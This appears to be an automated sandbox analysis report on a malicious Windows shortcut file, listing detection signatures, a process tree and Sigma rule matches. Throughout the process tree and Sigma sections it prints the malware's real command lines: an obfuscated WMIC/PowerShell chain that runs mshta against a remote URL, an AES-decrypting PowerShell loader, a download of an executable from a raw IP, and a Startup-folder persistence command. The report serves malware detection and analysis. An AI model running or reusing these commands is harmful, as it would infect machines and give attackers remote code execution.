Edit tour

Windows Analysis Report
7A2lfjTYNf.lnk

Overview

General Information

Sample name:	7A2lfjTYNf.lnk renamed because original name is a hash value
Original sample name:	767810929a7b0dddecaad84a15aed733.lnk
Analysis ID:	1579758
MD5:	767810929a7b0dddecaad84a15aed733
SHA1:	529f0a59889968b60a992452e3d3bd876a7a02bc
SHA256:	295fae2f581e04308ae737dd0ee934da80099da2d9b3e90d7d907a57265b2a91
Tags:	lnkuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Bypasses PowerShell execution policy

Contains functionality to create processes via WMI

Creates processes via WMI

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Powershell drops PE file

Sigma detected: Execution from Suspicious Folder

Sigma detected: Execution of Powershell Script in Public Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Process Created Via Wmic.EXE

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Windows shortcut file (LNK) contains suspicious command line arguments

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64

WMIC.exe (PID: 4148 cmdline: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')" MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 3984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5412 cmdline: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325') MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6540 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/ghepduy1325" MD5: 04029E121A0CFA5991749937DD22A1D9)

mshta.exe (PID: 5172 cmdline: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/ghepduy1325 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 672 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA70781E018E4DFB87CD05CEA8267DFEEC57474934D2E72FED942DC3B6E04D01F82804DECEF13DC95D9F76B95330BE652C3F5ECAB21E4D67450285F38D92BE31580C4E736177BF71474B83457639E9C2881131387C24401F97A86AE28EF1CFA3564CF1974B4ACC0F6695257FA23A2DDB11745C35D97B3064A0BAAF7A97272149C51840237CA06689453D6A5F8B46678E8011672959BFCB6DFD142A3ED66ADE572299E442A73D667DF9462BE96290706311211F2CE31646E4040EBF2F7AA2CB9DC7FCF0E3D67762E76457BAA609917136F01E489A97E9A7FB17C6965F15CFF50FF5637D62983F02A4262193FDA98C9A16EF2DA91F27193760578614D5E2613AC07AC1CCB5EF6F587BC781DF31F55B65181C86F562B2BD2A35461CAC5C101B21214506A52C17834FA44C6E0DEF1A1E9CB0715D93135D5BBF09E6FCCE528E1DA3761E0A1F265D5F0FB3FA2E21AC770F6F27CC1EC289352FC35A8C7DE18C442B194FDCFA10DB3DA7CDE32FD8403F449D8FC75BE84A071B70C8F5544157502E7B2071633BA5B9D659AB9028E480647AA8FE41712E40CDB4E6A26F3268BFCF26F9072B471B8C282387E4DBA4EBC93609965409C1A65C0C57DF0CE49EC876F91C5A96386BD60817F78D48A9D0148412611DA9639CF9834309BE5DACA432F3ACBDFA219E5B95B26C009CFC00CF54BE154220779009DDC479CBDFEB32FC40336CC86D179FF44CD5B390F941A50D06D52FAFC8F32DB72C3505502F57C9EAA8B71200A218380D35F04EDC8E95B91FA86829B4510AD91625BBE54DB1D3237B08832E5C8289753B1D32B208E9E6AA7E281982490307DB6935EA25109C185FC165625387C55175929D993B0A9A3B1022C240A5ACB0431E98C81D66C70D1DC29B7F9909E6515937CDB3D283F4B12B4C4D6E3F28F0B7F5FD07BA8EDC2B28158165A3FB91BF281D1C320E33D3C8D25C1ABC674AB74EA1BE51CF9A35EC73C41528008D4E8200333FAB1BFEDC6C324ED62E667038A747AA71059CF2CF52ED74304019637D834465D06062AAA679880D486BEED29E51CBB32E274D08CF418E16AC10216BB620E504A77D4771DF75717D83FEB1DA9EA2224B0AB6051F81C35169397369EDE2B5FCAD429BA6B5E93A03CD2128D91B05F33C31AA36E6F16AFEB422B869409A043987E74028E99F3553B4AC0943C7347DBDB9818608468516E754F4271494E6951625143456D';function yVE ($UZpVPhOy){return -split ($UZpVPhOy -replace '..', '0x$& ')};$foocSK = yVE($ddg.SubString(0, 2016));$vAM = [System.Security.Cryptography.Aes]::Create();$vAM.Key = yVE($ddg.SubString(2016));$vAM.IV = New-Object byte[] 16;$MnEAtBA = $vAM.CreateDecryptor();$QXykJ = [System.String]::new($MnEAtBA.TransformFinalBlock($foocSK, 0,$foocSK.Length)); sal fd $QXykJ.Substring(3,3); fd $QXykJ.Substring(6) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 7756 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Job_Description.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7956 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8124 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1596,i,13836792171696391892,6566973636645197800,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

dqcwif.exe (PID: 4412 cmdline: "C:\Users\user\AppData\Roaming\dqcwif.exe" MD5: 302EA0EBB32FF34A46D6B6DF1E66F9FE)

powershell.exe (PID: 8156 cmdline: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8428 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Guard.exe (PID: 8720 cmdline: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cmd.exe (PID: 8744 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 6308 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

wscript.exe (PID: 8900 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

SwiftWrite.pif (PID: 8964 cmdline: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G" MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cleanup

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine|base64offset|contains: , Image: C:\Users\Public\Guard.exe, NewProcessName: C:\Users\Public\Guard.exe, OriginalFileName: C:\Users\Public\Guard.exe, ParentCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8428, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ProcessId: 8720, ProcessName: Guard.exe

Sigma detected: Execution of Powershell Script in Public Folder

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\dqcwif.exe" , ParentImage: C:\Users\user\AppData\Roaming\dqcwif.exe, ParentProcessId: 4412, ParentProcessName: dqcwif.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 8428, ProcessName: powershell.exe

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ParentImage: C:\Users\Public\Guard.exe, ParentProcessId: 8720, ParentProcessName: Guard.exe, ProcessCommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, ProcessId: 8744, ProcessName: cmd.exe

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/ghepduy1325, CommandLine: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/ghepduy1325, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/ghepduy1325", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6540, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/ghepduy1325, ProcessId: 5172, ProcessName: mshta.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\dqcwif.exe" , ParentImage: C:\Users\user\AppData\Roaming\dqcwif.exe, ParentProcessId: 4412, ParentProcessName: dqcwif.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 8428, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\dqcwif.exe" , ParentImage: C:\Users\user\AppData\Roaming\dqcwif.exe, ParentProcessId: 4412, ParentProcessName: dqcwif.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 8156, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA70781E018E4DFB87CD05CEA8267DFEEC57474934D2E72FED942DC3B6E04D01F82804DECEF13DC95D9F76B95330BE652C3F5ECAB21E4D67450285F38D92BE31580C4E736177BF71474B83457639E9C2881131387C24401F97A86AE28EF1CFA3564CF1974B4ACC0F6695257FA23A2DDB11745C35D97B3064A0BAAF7A97272149C51840237CA06689453D6A5F8B46678E8011672959BFCB6DFD142A3ED66ADE572299E442A73D667DF9462BE96290706311211F2CE31646E4040EBF2F7AA2CB9DC7FCF0E3D67762E76457BAA609917136F01E489A97E9A7FB17C6965F15CFF50FF5637D62983F02A4262193FDA98C9A16EF2DA91F27193760578614D5E2613AC07AC1CCB5EF6F587BC781DF31F55B65181C86F562B2BD2A35461CAC5C101B21214506A52C17834FA44C6E0DEF1A1E9CB0715D93135D5BBF09E6FCCE528E1DA3761E0A1F265D5F0FB3FA2E21AC770F6F27CC1EC289352FC35A8C7DE18C442B194FDCFA10DB3DA7CDE32FD8403F449D8FC75BE84A071B70C8F5544157502E7B2071633BA5B9D659AB9028E480647AA8FE41712E40CDB4E6A26F3268BFCF26F9072B471B8C282387E4DBA4EBC93609965409C1A65C0C57DF0CE49EC876F91C5A96386BD60817F78D48A9D0148412611DA9639CF9834309BE5DACA432F3ACBDFA219E5B95B26C009CFC00CF54BE154220779009DDC479CBDFEB32FC40336CC86D179FF44CD5B390F941A50D06D52FAFC8F32DB72C3505502F57C9EAA8B71200A218380D35F04EDC8E95B91FA86829B4510AD91625BBE54DB1D3237B08832E5C8289753B1D32B208E9E6AA7E281982490307DB6935EA25109C185FC165625387C55175929D993B0A9A3B1022C240A5ACB0431E98C81D66C70D1DC29B7F9909E6515937CDB3D283F4B12B4C4D6E3F28F0B7F5FD07BA8EDC2B28158165A3FB91BF281D1C320E33D3C8D25C1ABC674AB74EA1BE51CF9A35EC73C41528008D4E8200333FAB1BFEDC6C324ED62E667038A747AA71059CF2CF52ED74304019637D834465D06062AAA679880D486BEED29E51CBB32E274D08CF418E16AC10216BB620E504A77D4771DF75717D83FEB1DA9EA2224B0AB6051F81C35169397369EDE2B5FCAD429BA6B5E93A03CD2128D91B05F33C31AA36E6F16AFEB422B869409A043987E74028E99F3553B4AC0943C7347DBDB9818608468516E754F4271494E6951625143456D';function yVE ($UZpVPhOy){return -split ($UZpVPhOy -replace '..', '0x$& ')};$foocSK = yVE($ddg.SubString(0, 2016));$vAM = [System.Security.Cryptography.Aes]::Create();$vAM.Key = yVE($ddg.SubString(2016));$vAM.IV = New-Object byte[] 16;$MnEAtBA = $vAM.CreateDecryptor();$QXykJ = [System.String]::new($MnEAtBA.TransformFinalBlock($foocSK, 0,$foocSK.Length)); sal fd $QXykJ.Substring(3,3); fd $QXykJ.Substring(6), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA7

Sigma detected: Suspicious Process Created Via Wmic.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')", CommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')", ProcessId: 4148, ProcessName: WMIC.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 8900, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8156, TargetFilename: C:\Users\Public\Guard.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA70781E018E4DFB87CD05CEA8267DFEEC57474934D2E72FED942DC3B6E04D01F82804DECEF13DC95D9F76B95330BE652C3F5ECAB21E4D67450285F38D92BE31580C4E736177BF71474B83457639E9C2881131387C24401F97A86AE28EF1CFA3564CF1974B4ACC0F6695257FA23A2DDB11745C35D97B3064A0BAAF7A97272149C51840237CA06689453D6A5F8B46678E8011672959BFCB6DFD142A3ED66ADE572299E442A73D667DF9462BE96290706311211F2CE31646E4040EBF2F7AA2CB9DC7FCF0E3D67762E76457BAA609917136F01E489A97E9A7FB17C6965F15CFF50FF5637D62983F02A4262193FDA98C9A16EF2DA91F27193760578614D5E2613AC07AC1CCB5EF6F587BC781DF31F55B65181C86F562B2BD2A35461CAC5C101B21214506A52C17834FA44C6E0DEF1A1E9CB0715D93135D5BBF09E6FCCE528E1DA3761E0A1F265D5F0FB3FA2E21AC770F6F27CC1EC289352FC35A8C7DE18C442B194FDCFA10DB3DA7CDE32FD8403F449D8FC75BE84A071B70C8F5544157502E7B2071633BA5B9D659AB9028E480647AA8FE41712E40CDB4E6A26F3268BFCF26F9072B471B8C282387E4DBA4EBC93609965409C1A65C0C57DF0CE49EC876F91C5A96386BD60817F78D48A9D0148412611DA9639CF9834309BE5DACA432F3ACBDFA219E5B95B26C009CFC00CF54BE154220779009DDC479CBDFEB32FC40336CC86D179FF44CD5B390F941A50D06D52FAFC8F32DB72C3505502F57C9EAA8B71200A218380D35F04EDC8E95B91FA86829B4510AD91625BBE54DB1D3237B08832E5C8289753B1D32B208E9E6AA7E281982490307DB6935EA25109C185FC165625387C55175929D993B0A9A3B1022C240A5ACB0431E98C81D66C70D1DC29B7F9909E6515937CDB3D283F4B12B4C4D6E3F28F0B7F5FD07BA8EDC2B28158165A3FB91BF281D1C320E33D3C8D25C1ABC674AB74EA1BE51CF9A35EC73C41528008D4E8200333FAB1BFEDC6C324ED62E667038A747AA71059CF2CF52ED74304019637D834465D06062AAA679880D486BEED29E51CBB32E274D08CF418E16AC10216BB620E504A77D4771DF75717D83FEB1DA9EA2224B0AB6051F81C35169397369EDE2B5FCAD429BA6B5E93A03CD2128D91B05F33C31AA36E6F16AFEB422B869409A043987E74028E99F3553B4AC0943C7347DBDB9818608468516E754F4271494E6951625143456D';function yVE ($UZpVPhOy){return -split ($UZpVPhOy -replace '..', '0x$& ')};$foocSK = yVE($ddg.SubString(0, 2016));$vAM = [System.Security.Cryptography.Aes]::Create();$vAM.Key = yVE($ddg.SubString(2016));$vAM.IV = New-Object byte[] 16;$MnEAtBA = $vAM.CreateDecryptor();$QXykJ = [System.String]::new($MnEAtBA.TransformFinalBlock($foocSK, 0,$foocSK.Length)); sal fd $QXykJ.Substring(3,3); fd $QXykJ.Substring(6), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA7

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, NewProcessName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, OriginalFileName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8900, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", ProcessId: 8964, ProcessName: SwiftWrite.pif

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 672, TargetFilename: C:\Users\user\AppData\Roaming\dqcwif.exe

Sigma detected: PowerShell Web Download

Source: Process started

